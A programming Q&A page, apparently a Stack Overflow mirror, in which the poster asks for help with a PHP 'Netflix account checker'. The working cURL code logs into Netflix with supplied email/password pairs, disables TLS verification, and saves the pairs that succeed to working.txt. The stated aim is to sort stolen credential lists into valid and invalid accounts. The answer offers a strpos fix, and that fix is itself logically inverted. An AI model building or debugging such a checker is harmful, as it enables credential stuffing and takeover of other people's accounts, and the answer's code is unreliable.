简体   繁体   中英

PHP - cURL + strpos Issues

I have a script in which checks if the tested netflix account works. For some reason it just refuses to work I dont know what im doing wrong.

The Checker Page's PHP EDIT: Added the if statement so it doesnt post blank just going to the page:

<?php
if(isset($_POST['e']) && isset($_POST['p'])){
$e = @$_POST['e'];
$p = @$_POST['p'];

$URL = 'MyAPI.php?e='.$e.'&p='.$p;

$ch     = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$page = curl_exec($ch);

$haystack = $page;
$needle   = 'profilesGateWrapper';

if(strpos($needle, $haystack) !== true) {
    file_put_contents('working.txt','test', FILE_APPEND);
} else {
    echo $page;
}

}
?>

MyAPI.php:

<?php

$email=$_GET['e'];
$pass=$_GET['p'];

$url='https://signup.netflix.com/Login'; //httpS 
$cookie="cookie.txt";

$ch2 = curl_init();
curl_setopt ($ch2, CURLOPT_URL, $url);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"); 
curl_setopt ($ch2, CURLOPT_TIMEOUT, 60);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false); 
curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch2, CURLOPT_COOKIEJAR, $cookie);
curl_setopt ($ch2, CURLOPT_REFERER, $url);

$result2 = curl_exec ($ch2);

curl_close($ch2);

$expA=explode('name="authURL" value="',$result2);
$expB=explode('"/>',$expA[1]);
$auth=$expB[0];

//$postdata = "email=".urlencode($email)."&password=".$pass."&authURL=".urlencode($auth).'&RememberMe=false';
$postdata = http_build_query( array('email' => urlencode($email), 'password' => $pass, 'authURL' => urlencode($auth))); 
$postdata = http_build_query( array('email' => $email, 'password' => $pass, 'authURL' => $auth, 'RememberMe' => '')); 

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie); 
curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt ($ch, CURLOPT_REFERER, $url);

curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$result = curl_exec ($ch);

echo $result;

curl_close($ch);

?>

I have tried all combinations of strpos's !== and === etc along with true and falses but none work.

Why its looking for profilesGateWrapper is because you only see that in the HTML when your logged in.

When I type var_dump($page); right after $page and enter in an email and pass it shows me the page when your logged in so theres no issue with cURL.

My objective is to basically identify if your logged in and if your logged in then file_put_content the Email:Password with a : inbetween them into a working.txt file and then else statement if it wasnt found then do the email:pass into invalid.txt. But this is just not working for me ive been at this about 2 hours now please someone help.

I think what you want to do is

if(strpos($needle, $haystack) !== false) { // this means not found
    echo $page;
} else { // this means strpos returns integer (the position of occurrence)
    file_put_contents('working.txt','test', FILE_APPEND);
}

The strpos will not return true .

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM